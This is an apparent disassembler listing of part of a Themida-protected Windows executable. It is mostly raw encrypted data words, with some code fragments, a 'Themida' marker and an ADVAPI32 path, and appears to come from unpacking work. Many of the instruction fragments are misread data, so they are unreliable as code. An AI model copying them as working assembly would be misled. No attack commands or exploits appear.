		dd 673300BEh, 0C8E285F2h, 5100F04Fh, 0E55BE945h, 0FFAD36h
		dd 11D7BE03h, 15963068h, 614DD10Fh, 20A0EE84h, 32192F60h
		dd 54BA1C31h, 0FC8E001Bh, 0C93A6586h, 69CE9F00h, 0DF8FBCBh
		dd 0B796006Dh, 30A1FC01h, 0D8031821h, 6ACD72A7h, 50510099h
		dd 80C46ECFh, 9200F7CBh, 0D138C0A7h, 7158679h, 77D7A4B4h
		dd 3032D6EBh, 1B6EBF00h, 0A1262310h, 3C63FC47h,	86809011h
		dd 60AC147Dh, 3A7D159Ah, 8EFCD3B8h, 31694B00h, 0BFA20C8Fh
		dd 276D0033h, 0C243D9EEh, 760163AAh, 0A8D17787h, 99802069h
		dd 0FEF3395Bh, 0F47FC074h, 95B87000h, 0FF60C7E5h, 1F77544h
		dd 0D15814C5h, 83086150h, 8D6AC039h, 0DDC8B0EDh, 69E80314h
		dd 33BB4A70h, 7B3F2019h, 0DBF011D4h, 0E87532h, 75768723h
		dd 3B77B21Bh, 0CF09E9C0h, 354D78h, 0E6B74433h, 15FA7E21h
		dd 5C0087F8h, 3A4209EFh, 1F7F9Eh, 0A997AEAAh, 64CF0C80h
		dd 0E71CE50Ch, 0BA0F0B6h, 42BC2874h, 3BEB7880h,	250D45DAh
		dd 20BEFB20h, 18E67A60h, 0A9B8440Ch, 55312F70h,	6BA6409Fh
		dd 0BAC57040h, 0F56100BBh, 9AA1CB13h, 2179C9E1h, 72D45B00h
		dd 8FCE7986h, 0A6D17D14h, 0FAEC8Ch, 0C80959EFh,	8FCF4A60h
		dd 0A5C86F54h, 620E1BE6h, 866A26h, 0C823CC3Eh, 0B1670063h
		dd 42BD1AB8h, 80ED2225h, 0F4F940D1h, 0C9CA6Ah, 0BD026CBh
		dd 350CD8E4h, 0D4BFE700h, 0D1FEA7Fh, 50E20011h,	0A557D28Ah
		dd 0E5002C0Bh, 5E5B0501h, 84D316h, 0D287F431h, 8B6FBF95h
		dd 27290307h, 4570F0B0h, 1C18539Bh, 3DA4F5E5h, 653F18F7h
		dd 8AC3680Fh, 780052E6h, 1FBD0C1Eh, 0A3BE848h, 0F180D25Ch
		dd 890618C5h, 0CC508BAEh, 320127FAh, 0E2194B54h, 0D930C84Dh
		dd 0F34106F1h, 310BD798h, 2DBF39h, 0EB7274CEh, 9AA71Ch
		dd 0A6665849h, 0D0F0319Eh, 0BD8B2300h, 0F9549C36h, 0B1BF072Ch
		dd 0EFE57616h, 39520783h, 801FA83Ah, 1E262D6Fh,	22499Ch
		dd 0CD65C784h, 0FA8CD807h, 0A8BFE600h, 7CE3F243h, 3DB10C73h
		dd 4BE96642h, 6FE22801h, 9F30CD86h, 0FE84C20h, 4133D6BFh
		dd 0B1ADA20h, 810002B5h, 0B68F28D2h, 3135D96Bh,	4380345Bh
		dd 4725FC68h, 0F92CB00Fh, 0A0146015h, 1C096D7h,	0D13DBF70h
		dd 203BAA37h, 24788E62h, 4B8F9000h, 8AAEB006h, 1D0E0085h
		dd 0EE6A2C2Ah, 23009D29h, 352DF955h, 0ADF1C6h, 189B434Bh
		dd 0F7FF6A97h, 2892B402h, 0A51C6CDAh, 0B020D684h, 114C6A5h
		dd 0EC2645E4h, 0DCB2DDFDh, 8506D1D6h, 0EF9B1D03h, 45350028h
		dd 1147D767h, 1603066Bh, 1849ABF7h, 7A211DD9h, 0E5C14065h
		dd 9E84ACB3h, 584F7800h, 24B03C2Fh, 8F66035Eh, 263D42C0h
		dd 3EEA8900h, 9F45F609h, 44080185h, 0A2CF1BF9h,	3AA1BE84h
		dd 9B6A0028h, 2D72192Bh, 0E8B318B4h, 0FA0D4030h, 44043100h
		dd 2549A52Ah, 1E613018h, 0B34CD690h, 0B5004375h, 6C3A3026h
		dd 7B4D6647h, 6B0B007Dh, 538CDD3Fh, 9A00CC23h, 0F40E761Ch
		dd 0E5E56AF5h, 45EC77F1h, 0D8241136h, 7B95030Bh, 98F92FFBh
		dd 0DC90CAh, 6818056Ch,	8865249h, 0E71D8BF6h, 0B1076A9Eh
		dd 8F80CC20h, 2EA88Ah, 65313099h, 26CF45C8h, 1D3BAFE8h
		dd 618230F3h, 94AA7Dh, 8932BB3Ah, 0D14FAFC0h, 0E0A1B17Eh
		dd 88060839h, 13078F89h, 0ED647260h, 0CC9FA553h, 8A34CBC1h
		dd 18E7D0C8h, 31FAADB4h, 20016BD5h, 0B19167F2h,	19928C2Ah
		dd 1BCB0235h, 0EC444381h, 5262FD00h, 463F2E13h,	964201F3h
		dd 38EDDDA5h, 22E07F3Ah, 0FB310CFDh, 4E4907CEh,	0DC00FA71h
		dd 39D0B656h, 1729E2Bh,	0AC444680h, 602345FDh, 43376B94h
		dd 370069D0h, 7BF73281h, 44DB004Ah, 3982270Ch, 0F53B0AB8h
		dd 2410CC41h, 0A4CEA46Ah, 6C81AE11h, 80081EA0h,	102088h
		dd 0F84481BDh, 8250748Bh, 23ADD309h, 0A0102E64h, 55FA0642h
		dd 18AFF492h, 49053D3Fh, 1124CD7Dh, 9700DDC0h, 0D8C4E57Eh
		dd 4CCB005Dh, 2B1E8DDDh, 540F81D4h, 0B73C9Bh, 9A516BD2h
		dd 0E49080h, 69AE47CDh,	49ED88EEh, 2D9B4600h, 851DBF6Dh
		dd 31A324B2h, 2CB58760h, 0D8AE2208h, 1D44C4A3h,	1BE70801h
		dd 8EE4A396h, 4CCA69F4h, 510070F4h, 76B88F8Ch, 7A522AACh
		dd 3CDA01E0h, 3FE12ECCh, 0E7002823h, 0B02FA653h, 0D000C2B4h
		dd 16808373h, 40DB42B3h, 95014F0Ch, 106F4EE9h, 0E0DCCC8Dh
		dd 81120071h, 0FB9F193h, 2900BA94h, 0BC14C016h,	88F92D97h
		dd 7000BD35h, 6A51A0FAh, 0E0850729h, 918B044h, 0D34241BAh
		dd 0C0B68401h, 0F3EAD037h, 0B42E3D2Ah, 31114500h, 7A1228A2h
		dd 7C73031Dh, 0D1D879A9h, 0FA3676D0h, 0A9EC6C30h, 1B98F81h
		dd 0FB1E6F8Dh, 232AE4BBh, 8ECF00F8h, 3F2CA828h,	181F7140h
		dd 0A9AACEEEh, 0FC03C564h, 0BD82BA6Fh, 2AD6F028h, 756709D9h
		dd 64019983h, 1080CEF8h, 708FE23h, 0E648E7BCh, 9E6BAE27h
		dd 0BD418C0Eh, 4055F5BFh, 336C53C4h, 20F9AF1Eh,	0CBC0B100h
		dd 57DBE08Bh, 4C00F468h, 0A42A45D1h, 8C102BE4h,	3F242014h
		dd 0EEAB4384h, 26D67498h, 0FEE27EFCh, 5F6C3B26h, 291B6600h
		dd 26CBCFE4h, 4F00D821h, 39C17EC0h, 0BF76FCAEh,	0B9847316h
		dd 0A81F5B13h, 0D4E6174Ah, 41124E80h, 7DD4892h,	0C9160110h
		dd 8E33D060h, 0CB0C652Dh, 0B12FE8B2h, 0E9592AFAh, 749048BCh
		dd 333421Ch, 0D626C0CDh, 3451A180h, 6A05E4A8h, 0E5AF51Eh
		dd 0DC69944Eh, 0D6CCD41Eh, 0B2A97Ch, 2F3DE24Ch,	1875D002h
		dd 5599DD60h, 1E48BC1h
		dd 0BD479DA6h, 225AA0D9h, 867314F4h, 7B22E4h, 0B1C30490h
		dd 47520C8Ch, 49DC1830h, 0EE644227h, 437008Dh, 0C6E39FD9h
		dd 0B20040D2h, 237E15E0h, 2CBD0AFh, 603B0670h, 0B460789Bh
		dd 0E602D8DFh, 82C569C9h, 0F8C443h, 98784C5Ch, 0CBDFD7D2h
		dd 0E27B8A00h, 577EF9C2h, 0B71B0050h, 1EC012E1h, 0DD5C3522h
		dd 0A6AA0016h, 48CBDA79h, 89413E38h, 0A9B4C65Eh, 26FA671Dh
		dd 4011E35Ah, 983D92D0h, 0D177A01Ch, 9821008Bh,	5FF6327Ch
		dd 1F543C8Ah, 0F100FDB4h, 0F2BC6A81h, 23083FAh,	0E56955DBh
		dd 0E8444432h, 0BEC36C00h, 65FDCC34h, 0F88300D2h, 0F97BFCDCh
		dd 0F700707Ch, 80345385h, 90D75C63h, 411D16ACh,	0F2370107h
		dd 437FD16Ah, 790535A1h, 0CF442FADh, 1218C40h, 0B5DEB78Eh
		dd 39740E80h, 0D912E238h, 800743E9h, 2773B9B1h,	0D541151Dh
		dd 2526E077h, 19C101CAh, 0F4099185h, 70A052F2h,	0AF7EFA2Ch
		dd 0A3F11400h, 8705181Ah, 0A3C78A0h, 9F744D9h, 45F40194h
		dd 803151B9h, 99EF4739h, 5B3E0CCh, 0C2AE6E3Eh, 8D9CC0D4h
		dd 0E9005ED2h, 5489CB46h, 149AC62Ah, 98433EAFh,	9988A280h
		dd 6005D21h, 0F0691041h, 52E825h, 2FBBECE4h, 70C89A35h
		dd 0F69B0901h, 0DF18A075h, 4E9DE050h, 0B6B5001Dh, 85FC7277h
		dd 0FA153F17h, 199863E2h, 5DA92C47h, 2ED588F0h,	0F24E3Ah
		dd 0A5E944EDh, 4F0E93D4h, 0A5B8D7BCh, 70C8ADCEh, 29D92C0Ah
		dd 0B42A607Ch, 0D4765CCFh, 71C1F160h, 0E0E3EF4Bh, 6E8B32Ch
		dd 1175D722h, 0F3420700h, 0A72E04DAh, 6DBA05CBh, 8CD74739h
		dd 110006C4h, 0A74D8DD8h, 2E58793Ch, 35661FBh, 0C5334FE8h
		dd 0F4872A91h, 3098F44Dh, 302064D2h, 187393D5h,	0F2832EC6h
		dd 9F58ADF3h, 0A9100E8Ch, 9A1780E2h, 4C7B990Ch,	0FD87CCD7h
		dd 0B640007Ch, 0B900CF20h, 4F61497Dh, 0E24A1CA3h, 2A8524F4h
		dd 24723E39h, 81C720h, 5732D2B2h, 2499238Dh, 0BEDA6403h
		dd 3882CC85h, 4418220Bh, 905639C0h, 78805700h, 0D1D6C014h
		dd 0DEF8006Bh, 45BED4CEh, 3500E8F9h, 7CAEE3BFh,	7132D005h
		dd 0C5710047h, 86AC6A41h, 1369D468h, 77A08059h,	108563h
		dd 0C7F5DFC8h, 0FBFB023h, 0CA656100h, 0D29503A3h, 0DC8B3033h
		dd 3B385370h, 5C528C90h, 0F09B00E8h, 59FD403Ch,	52C4A8CEh
		dd 189223h, 0BB2A5C30h,	81EFA84h, 434BDB0Ch, 0EAFB29A7h
		dd 97BA00EFh, 369D687Dh, 433C1647h, 49F901C4h, 0C0922F6Ah
		dd 0F89E1BF0h, 0CB39C0B4h, 0DB8A7206h, 715C660Fh, 67BE479Dh
		dd 30BC2EB0h, 2A2D0090h, 8461EDF3h, 0B07C1B29h,	0E7196B2Eh
		dd 0AFCFD401h, 0BC646223h, 3DB100A6h, 0A39A9347h, 0C6133F68h
		dd 0B400D93Ah, 0A9F0C7DFh, 0E49F5002h, 1CB0B1D2h, 79084083h
		dd 0A3571EEBh, 1A0FD37Eh, 604DB03Fh, 6AFA505Ch,	9F230ACAh
		dd 1DA0E0C4h, 43028BE7h, 58189090h, 486D5D00h, 8804C21Bh
		dd 7E283FB1h, 690ECF98h, 0FA00F497h, 0E390E1C0h, 0CE4A17h
		dd 70FF14A4h, 0DC8AC36Eh, 0D24CE801h, 0D55D5E85h, 0CC40F6D1h
		dd 749F033Bh, 0AECF16F9h, 6A8C2232h, 9C4312h, 27911C0h
		dd 622D9817h, 32CF2C3Eh, 9018810Ch, 0E0C78394h,	70820223h
		dd 0B343D0A9h, 0C4C8C8A0h, 0C300CA5Ch, 8290AC19h, 0F30579h
		dd 1DFD2BD5h, 0D7D83EFAh, 1A089761h, 7C8080ADh,	0EFB6A707h
		dd 0AF3D0269h, 66A48E9Eh, 0C387005Fh, 1C8C3ADEh, 4068831Ah
		dd 0DA89E772h, 9518FC11h, 7A5948BFh, 0AAD20CE4h, 676930E5h
		dd 0CFED3D00h, 1378316Ah, 205E0CE0h, 502122C6h,	291F4800h
		dd 2FBE6DC3h, 651906F5h, 0A1CD9FBFh, 0DC99951Dh, 2CA23030h
		dd 181C6F48h, 2AC52107h, 6E200024h, 55532C8Ch, 0C37821C0h
		dd 0F2CB6DC8h, 0D70C0114h, 167F88B6h, 170BECCh,	9D04AADAh
		dd 49832AE5h, 88D49606h, 6624B0D0h, 0DC654000h,	0AB732012h
		dd 0B4D20002h, 47ACBFB1h, 6A48685Fh, 0EEF80CD2h, 0F2B113Ch
		dd 446DF9BCh, 5170A600h, 7C0ED973h, 985533A3h, 0F2596818h
		dd 27B40053h, 6E2FEA92h, 2BE4226Bh, 80054FCh, 0A4A8A940h
		dd 0CDE22Dh, 0F5602C0Fh, 0A36472ABh, 0BF307CF6h, 9944705Eh
		dd 0A2151873h, 0EDBB1158h, 641E3BF0h, 1DDE51D4h, 0F9971100h
		dd 5C1D38Ch, 3AE77877h,	0FF012FCCh, 0B6FFh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_548BDF:				; CODE XREF: Themida_:loc_4E1265j
					; DATA XREF: Themida_:loc_4E1086o
		jmp	loc_54C110
; ---------------------------------------------------------------------------
		dd 7 dup(0)
; ---------------------------------------------------------------------------

		public start
start:
		push	esi
		mov	fs, word ptr [esp+0]
; ---------------------------------------------------------------------------
		dd 0
		dd 54C9BC18h, 4	dup(0)
		dd 81660619h, 7	dup(0)
		dd 530788ACh, 0Ah dup(0)
		dd 25C0000h, 1F472A36h,	2, 0
		dd offset byte_59CC5F
		dd 4 dup(0)
		dd 0FFFFFFFFh, 0FDCh, 0C202ECh,	0
		dd 0FBA82FEFh, 4 dup(0)
		db 0CCh
		align 4
		db 64h,	90h
		dw 761Ch
		dd 7FFE0304h, 3	dup(0)
		dd offset loc_59D97E
		dd 0
		dd 0FFA49233h, 2 dup(0)
		dd 4, 32h dup(0)
		dd 0A31568h, 18h dup(0)
		dd 191D6D37h, 5	dup(0)
		dd 13D8E05Dh, 2870000h,	0
		dd 6936h, 7 dup(0)
		dd 7A09B0FDh, 6	dup(0)
		dd 76FACA04h, 2	dup(0)
		dd offset loc_5BE058+2
		dd 10000h, 2A200h, 0
		dd 77F51254h, 0A1D554h,	2B34BE89h, 7FFE0304h, 0
		dd 0B2A1FEh, 3 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0FFFF5E94h, 0ACh, 0
		dd 0D4D0A9DEh, 77DD23D7h, 77E776CDh, 35Bh, 1, 3	dup(0)
		dd 24h,	2 dup(0)
		dd 12FF64h, 4 dup(0)
		dd 0FFFFFFFFh, 4 dup(0)
		dd 77E7A5FDh, 57CDB4D1h, 7 dup(0)
		dd 7FFE0304h, 0
		dd 86B3B64Ch, 5	dup(0)
		dd 0A33268h, 8 dup(0)
		db 0CCh
		db 5Eh,	0DDh, 77h
		align 10h
		dd 8001FCFCh, 4	dup(0)
		dd 0A10FE6h, 0A69995h, 0
		dd offset byte_58F88C
		align 8
		dd 1, 9	dup(0)
		dd offset off_57AEE7
		dd 0Ah dup(0)
		dd 0BBBFFDD4h, 9 dup(0)
		dd 0D06C5A8Ah, 7 dup(0)
		dd 80A06CE1h, 5834DBh, 3 dup(0)
		dd 1, 7	dup(0)
		dd 1, 5	dup(0)
		dd 110h, 3 dup(0)
		dd 0B52Ah, 8 dup(0)
		dd 77E7C726h, 0Bh dup(0)
		dd offset loc_582202
		align 10h
		dd 564F1B51h, 0
		dd 4000F0h, 3 dup(0)
		dd 0EE713013h, 59FBD2h,	0
		dd 801474E6h, 24B7FFFh,	4 dup(0)
		dd 46615CDBh, 0
		dd 0EC271FA3h, 3 dup(0)
		dd 77E7A099h, 2	dup(0)
		dd 98h,	7FFE0304h, 3 dup(0)
		dd offset loc_57BA78+3
		align 10h
		dd 0CE8h, 2 dup(0)
		dd 0A270C4h, 3 dup(0)
		dd 0EAF6F5B8h, 0A280105h, 5 dup(0)
		dd 2430008h, 0FFA7FFDDh, 0
		dd 1446D0h, 4 dup(0)
		dd 6784h, 3 dup(0)
		dd offset dword_57364C
		align 10h
		dd 0EBAE06D7h, 0A29499h, 2 dup(0)
		dd offset dword_5794A8
		align 8
		retf	0E7B4h
; ---------------------------------------------------------------------------
		db 0B4h
		dd 3 dup(0)
		dd offset dword_549B78
		dd 5CECh, 0
		dd 7FFE0023h, 2	dup(0)
		dd 0FFFF9148h, 12FF60h,	0C4h, 3	dup(0)
		dd 7F39F899h, 169Ah, 0A29C37h, 6 dup(0)
		dd 8001FCFCh, 0
		dd 0A8h, 3 dup(0)
		dd 0FFFFFFFFh, 0
		dd 7FFE0304h, 0
		dd 6784h, 0A269DDh, 0A29234h, 6	dup(0)
		dd offset byte_58F88F
		dd 25h dup(0)
		dd offset loc_5883DC+3
		dd 0B90000h, 6E08h, 0
		db 90h
		db 93h,	44h, 7Fh
aThemida	db 'Themida',0
		dd 20h dup(0)
		dd 0FFA34096h, 0
		dd 0D6Ch, 3 dup(0)
		dd 13D8E05Dh, 3	dup(0)
		dd offset loc_59EC74+1
		dd 15h dup(0)
		dd 0C0000h, 2 dup(0)
		dd 0FD3AC2E0h, 5 dup(0)
		dd 0FFFF96ECh, 0E284EA00h, 8012A405h, 3	dup(0)
; ---------------------------------------------------------------------------
		test	[edi+0], ah
		add	[edx+ebx*8+46h], al
		retn	0
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFF9148h, 0A269DDh, 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0A269DDh, 0
		dd 901A2B11h, 9	dup(0)
		dd 77D40000h, 464934EBh, 0A209F7h, 5 dup(0)
		dd 7FFE0304h, 54C9B384h, 3 dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0D7h, 5Bh, 0
		dd 0
		dd offset loc_57CC3E
		dd 12FF54h, 3 dup(0)
		dd 34h,	0FFFF982Ch, 0
		dd 77E74A3Bh, 4	dup(0)
		dd offset loc_582202
		align 8
		dd offset loc_58A240
		dd 77F7EBB3h, 3	dup(0)
		dd 77E6D706h, 2	dup(0)
		dd 77E776CDh, 2	dup(0)
		dd 0FF5D5FF1h, 0A323E8h, 0
		dd 0CB1A7h, 2 dup(0)
		dd offset loc_573570
		dd 0Eh dup(0)
		dd 80529E7Ch, 5	dup(0)
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0A9h, 5Ch, 0
		align 8
		dd 0FFFF990Ch, 0
; ---------------------------------------------------------------------------
		jmp	near ptr byte_54963D
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 0
byte_54963D	db 3 dup(0)		; CODE XREF: Themida_:00549630j
		dd 5 dup(0)
		dd offset loc_5A0C05
		dd 16h dup(0)
		dd 1D7A40h, 0Ah	dup(0)
		dd 109128Fh, 0Ah dup(0)
		dd 10Ch, 0
		dd 0A47316h, 6 dup(0)
		dd 0A2FA56h, 4 dup(0)
		dd 0A23145h, 0
		dd 0FFFF982Ch, 0Ah dup(0)
		dd 0FFFFFFFFh, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, ch
		jmp	short near ptr byte_5497D9
; ---------------------------------------------------------------------------
		dd 0
		dd 4A449E00h, 0B5564DF0h, 0A269DDh, 0
		dd 0F600B034h, 77DD0000h, 2 dup(0)
		dd 62h,	2 dup(0)
		dd offset loc_582202
		dd 1C034h, 0
		dd 77E83E68h, 4	dup(0)
		db 0
byte_5497D9	db 3 dup(0)		; CODE XREF: Themida_:00549786j
		dd offset loc_5CBF68+2
		dd offset sub_5A1ABB
		align 8
		dd offset byte_580023
		dd 3 dup(0)
		dd 0A2A00Fh, 4 dup(0)
		dd 77E776CDh, 24242424h, 0FFDFFFFFh, 5 dup(0)
		dd 0B0h, 4 dup(0)
		dd 104h, 4 dup(0)
		dd 67E0h, 25B0000h, 3E16332h, 0
		dd 77E7C486h, 2	dup(0)
		dd 0A49BACh, 752621EAh,	4 dup(0)
		dd 0FB2AEC13h, 2 dup(0)
		dd 3099h, 2 dup(0)
		dd 13D8E05Dh, 5	dup(0)
		dd 0FB2AEC13h, 0EBAE8D8Dh, 0Bh dup(0)
		dd 77F51B2Bh, 0
		dd 77EA5EE6h, 8	dup(0)
		dd 163204Ch, 3 dup(0)
		dd 0B8h, 12FEF8h, 3 dup(0)
		dd offset byte_5834DB
		dd offset byte_583697
		align 10h
		dd 0FB2AEC13h, 0
		dd 7CCA00A0h, 0
		dd offset sub_5A0C3E
		align 10h


loc_549970:				; DATA XREF: Themida_:0054A650o
		mov	eax, 0
		or	eax, eax
		jz	short loc_54997C
		retn	18h
; ---------------------------------------------------------------------------


loc_54997C:				; CODE XREF: Themida_:00549977j
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0A2A037h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 14h dup(0)
		dd 77E76A2Eh, 2	dup(0)
		dd 6784h, 77452C1Bh, 0
		dd 3C7EB397h, 5	dup(0)
		dd 83A52AC4h, 0FFFF8DE1h, 0B0B1CAh, 3 dup(0)
		dd 36363636h, 0FFED00ACh, 9 dup(0)
		dd offset unk_4E0497
		dd offset loc_57CC8E
		dd 10h dup(0)
		dd offset off_57AEE7
		dd 172FFB0h, 2 dup(0)
		dd offset loc_5CBF68+2
		dd 0FFFF3FA2h, 0
		dd offset word_597B4E
		dd 4 dup(0)
		dd offset dword_549B78
		dd offset loc_5CBF68+2
		dd 0AAF0B74h, 4	dup(0)
		dd offset byte_5AEF6B
		dd 2 dup(0)
		dd 86555974h, 2	dup(0)
		dd offset loc_59D832
		dd 0
		dd offset loc_5885DE
		dd 33000h, 0Dh dup(0)
; ---------------------------------------------------------------------------
		retf	0FFB4h
; ---------------------------------------------------------------------------
		db 0FFh
		align 10h
		dd 468545B6h, 5	dup(0)
dword_549B78	dd 438h, 0A100F8h, 0	; DATA XREF: Themida_:00549228o
					; Themida_:00549AE0o ...
		dd 0B100F8h, 7FFE7397h,	10h dup(0)
		dd 21D4EC17h, 77E82168h, 3 dup(0)
		dd 0A2A037h, 2 dup(0)
		dd 0A9B0E4B0h, 0Ah dup(0)
		dd 7FFE0304h, 0Ch dup(0)
		dd 0FB71D921h, 0B4h, 6 dup(0)
		dd offset loc_54CEEB
		dd 0
		dd 5300h, 4 dup(0)
		dd 0A269DDh, 2 dup(0)
		dd 0FFA57F01h, 2 dup(0)
		dd 77F52E0Fh, 8	dup(0)
		dd 3047105Dh, 2	dup(0)
		dd 77E793EFh, 7	dup(0)
; ---------------------------------------------------------------------------
		test	[ebx+ecx*2], edi
		inc	esi
		jmp	loc_56E8DD
; ---------------------------------------------------------------------------
		align 4
		retn	73F2h
; ---------------------------------------------------------------------------
		db 22h
		dd 4 dup(0)
		dd 2F8CA129h, 4	dup(0)
		dd 77E60000h, 0
		dd 0FFA7FFDDh, 0
		dd 0FFA5F563h, 13D8E05Dh, 0A1B168h, 0
		dd 32E9h, 0A10FE6h, 0Eh	dup(0)
		dd offset loc_5885DE
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 3Ch dup(0)
		dd 7FFE0304h, 49012DD8h, 0
		dd 0E024F3E4h, 1, 77FFFFFCh, 4 dup(0)
		dd 52D8B47Dh, 20h dup(0)
		dd 0FFFF5E94h, 6 dup(0)
		dd 21858DE1h, 4	dup(0)
		dd 8001FCFCh, 0
		dd 77E7C785h, 287D88E6h, 9 dup(0)
		dd 0A2A00Fh, 3 dup(0)
		dd offset dword_59D020
		dd 0
		dd offset dword_5BB658
		dd 9 dup(0)
		dd offset byte_580023
		dd 3 dup(0)
		dd offset dword_5B0000
		dd 2 dup(0)
		dd 13D8E05Dh, 20h dup(0)
		dd 9Ch,	0A24Dh,	0
		dd 6784h, 4C3AA05Ch, 7FFE0304h,	0
		dd 24B6C80h, 5 dup(0)
		dd 345AFD8Bh, 0
		dd 1, 6	dup(0)
		dd 34B8h, 77D4C96Ah, 7 dup(0)
		dd 0B3C55FA4h, 2 dup(0)
		dd 7FFE90FAh, 0Bh dup(0)
		dd 5CE5h, 2 dup(0)
		dd 2 dup(22222222h), 3 dup(0)
		dd 0FFFF982Ch, 2 dup(0)
		dd 7FFE0304h, 0FFA7CB25h, 2 dup(0)
		dd 3600h, 63221B7h, 2 dup(0)
		dd 0B78883h, 6 dup(0)
		dd 13D8E05Dh, 8	dup(0)
		dd offset byte_5AA683
		dd 0FFA64805h, 2 dup(0)
		dd 0A0h, 13D8E05Dh, 6 dup(0)
		dd 12FF38h, 0Ch	dup(0)
		dd offset loc_5CAC7C+2
		dd 0
		dd 0EC271FA3h, 1, 5 dup(0)
		dd 0FFFFA168h, 6 dup(0)
		dd 4886B09Eh, 7	dup(0)
		dd offset loc_59DBD5+4
		dd 3 dup(0)
		dd offset loc_5CBF68+2
		align 10h
		dd 12FFE0h, 0FF5D5FF1h,	7 dup(0)
		dd offset loc_58C915
		dd 6 dup(0)
		dd 21568h, 4 dup(0)
dword_54A304	dd 2B34A3DBh, 63h dup(0) ; DATA	XREF: Themida_:0054B8E0o
		dd 25C0000h, 6 dup(0)
		dd 4, 584369h, 4 dup(0)
		dd 24B6B9Ch, 0
		dd 0A31568h, 3 dup(0)
		dd 0FFAA7B8Eh, 0
		dd 77E8215Ch, 0
		dd 0DE000h, 2 dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0C9h, 57h, 0
		dd 3 dup(0)
		dd 0FFFFA72Ch, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_54A605
; ---------------------------------------------------------------------------
		align 8
		dd 7FFE0304h, 6	dup(0)
		dd offset loc_596A09
		align 10h
		dd offset loc_59085C+3
		dd 2 dup(0)
		dd 0A29393h, 40D7AD80h,	2 dup(0)
		dd 0FFFF4E47h, 0
; ---------------------------------------------------------------------------
		jmp	loc_56F15D
; ---------------------------------------------------------------------------
		align 4
		dd 0FF8h, 0
		dd 7FFDDEF8h, 1DC000h, 0B52Ah, 9 dup(0)
		dd 5F34B157h, 2	dup(0)
dword_54A5C0	dd 0A26CB0h, 5 dup(0)
		dd 6784h, 9 dup(0)
		dd 7FFE0304h
		db 0C7h
; ---------------------------------------------------------------------------


loc_54A605:				; CODE XREF: Themida_:0054A51Cj
		sbb	eax, [edi+5Bh]
		add	[esi+ebx*4], ch
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0B52Ah, 0Ah dup(0)
		dd 0B35FF0h, 4 dup(0)
		dd offset loc_549970
		dd 0FFFF982Ch, 3 dup(0)
		dd 0A6A5E7h, 52D896ECh,	77DD59F0h, 0
		dd 8005F6F4h, 3	dup(0)
		dd 7D1h, 5 dup(0)
		dd 6784h, 2 dup(0)
		dd 102B89D5h, 0
		dd 0A10000h, 2 dup(0)
		dd offset dword_549B78
		dd 0
		dd 7FFE0304h, 4	dup(0)
		dd 3DD4E4F1h, 4	dup(0)
		dd 1, 3	dup(0)
		dd 2 dup(7FFE0304h), 3 dup(0)
		dd 7FFE0304h, 7548725h,	6 dup(0)
		dd 2BE102D4h, 0
		dd 77E80618h, 2	dup(0)
		dd 108h, 13A8h,	9BE67C11h, 59D020h, 3A7EE5BBh, 7 dup(0)
		dd 0A25E2Eh, 5B7877h, 3	dup(0)
		dd 0B37FFEh, 3 dup(0)
		dd 874281DDh, 2	dup(0)
		dd 1D07C314h, 8	dup(0)
		dd 0FDB22B8Ch, 4 dup(0)
		dd offset nullsub_3
		dd 0Dh dup(0)
		dd 21212121h, 216FD98h,	3 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 0A28C0Ah, 0FFFFFFFFh, 4 dup(0)
		dd 0D8h, 97D8EA5h, 0FFA795F7h, 5 dup(0)
		dd 1, 6	dup(0)
		dd 0CDA680A3h, 0
		dd 12FFE0h, 7 dup(0)
		dd 0A22292h, 8 dup(0)
		dd 77DD189Ah, 0
		dd 0FFFFE175h, 0
		dd 30DFh, 0
		dd 0FDBD0050h, 0
		dd 3FC78FA0h, 2	dup(0)
		dd offset loc_5CAC7C+2
		align 8
		dd 0FFA675B2h, 4 dup(0)
		dd 7FFE0304h, 0
		dd 77E7A5FDh, 3	dup(0)
		dd 13D8E05Dh, 2	dup(0)
		dd 0A10A9Ah, 3 dup(0)
		dd 3B398789h, 9	dup(0)
		dd 1FAFFF6h, 3 dup(0)
		dd offset sub_5834ED
		dd 2 dup(0)
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 7Ch dup(0)
		dd 24B6B9Ch, 3 dup(0)
		dd 7FFE0304h, 61AEAEE4h, 4 dup(0)
		dd 2870000h, 4 dup(0)
		dd 98F4DEDEh, 0
		dd 1F6B6h, 4 dup(0)
		dd 8001FCFCh, 2	dup(0)
		dd 6784h, 5 dup(0)
		db 90h
		db 8Bh,	0A4h, 0FFh
		dd 5 dup(0)
		dd offset dword_5794A8
		dd 7 dup(0)
		dd 0FFFFFFFCh, 7 dup(0)
		dd 0FFA7FE32h, 0
		dd offset loc_5948A9
		dd 5 dup(0)
		dd offset sub_5AF4AE
		dd 2 dup(0)
		dd 7E91139Dh, 0A2A00Fh,	0
		dd offset dword_5CC5E8
		align 8
		dd 0DC8D2F2Dh, 0
		dd 1000h, 7 dup(0)
		dd 7FFE6004h, 0A68D53h,	0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0A2A00Fh, 0D4h, 0F97DF2E1h, 6 dup(0)
		dd offset dword_549B78
		dd 0Eh dup(0)
		dd offset sub_5B52B8
		dd 2 dup(0)
		dd 2B34BE89h, 0A269DDh,	0
		dd offset byte_58F88F
		dd 12FFA4h, 0E75D36FEh,	2 dup(0)
; ---------------------------------------------------------------------------
		xchg	eax, esp
		jmp	near ptr byte_54AD89
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
		db 0
